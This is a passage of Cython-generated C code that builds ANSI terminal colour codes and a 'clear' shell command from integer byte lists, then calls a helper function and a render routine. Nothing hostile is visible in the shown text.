  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 73, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 73, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_G, __pyx_t_5) < 0) __PYX_ERR(0, 73, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 74, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 74, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_S, __pyx_t_5) < 0) __PYX_ERR(0, 74, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 75, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 75, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_5) < 0) __PYX_ERR(0, 75, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 76, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 76, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 76, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_B, __pyx_t_5) < 0) __PYX_ERR(0, 76, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 77, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 77, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 77, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_R, __pyx_t_5) < 0) __PYX_ERR(0, 77, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 78, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_G, __pyx_t_5) < 0) __PYX_ERR(0, 78, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_Y, __pyx_t_5) < 0) __PYX_ERR(0, 79, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 80, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_52);
  __Pyx_GIVEREF(__pyx_int_52);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_52);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 80, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_Bl, __pyx_t_5) < 0) __PYX_ERR(0, 80, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 81, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 81, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 81, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_P, __pyx_t_5) < 0) __PYX_ERR(0, 81, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_C, __pyx_t_5) < 0) __PYX_ERR(0, 82, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 83, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 83, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 83, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_W, __pyx_t_5) < 0) __PYX_ERR(0, 83, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_PN, __pyx_t_5) < 0) __PYX_ERR(0, 84, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_6source_1lo, 0, __pyx_n_s_lo, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 87, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_lo, __pyx_t_5) < 0) __PYX_ERR(0, 87, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_lo); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_os); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 107, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_system); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = PyList_New(5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 107, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_INCREF(__pyx_int_99);
  __Pyx_GIVEREF(__pyx_int_99);
  PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_99);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_114);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 107, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_render); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_6 = PyList_New(5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_INCREF(__pyx_int_77);
  __Pyx_GIVEREF(__pyx_int_77);
  PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_77);
  __Pyx_INCREF(__pyx_int_79);
  __Pyx_GIVEREF(__pyx_int_79);
  PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_79);
  __Pyx_INCREF(__pyx_int_68);
  __Pyx_GIVEREF(__pyx_int_68);
  PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_68);
  __Pyx_INCREF(__pyx_int_67);
  __Pyx_GIVEREF(__pyx_int_67);
  PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_67);
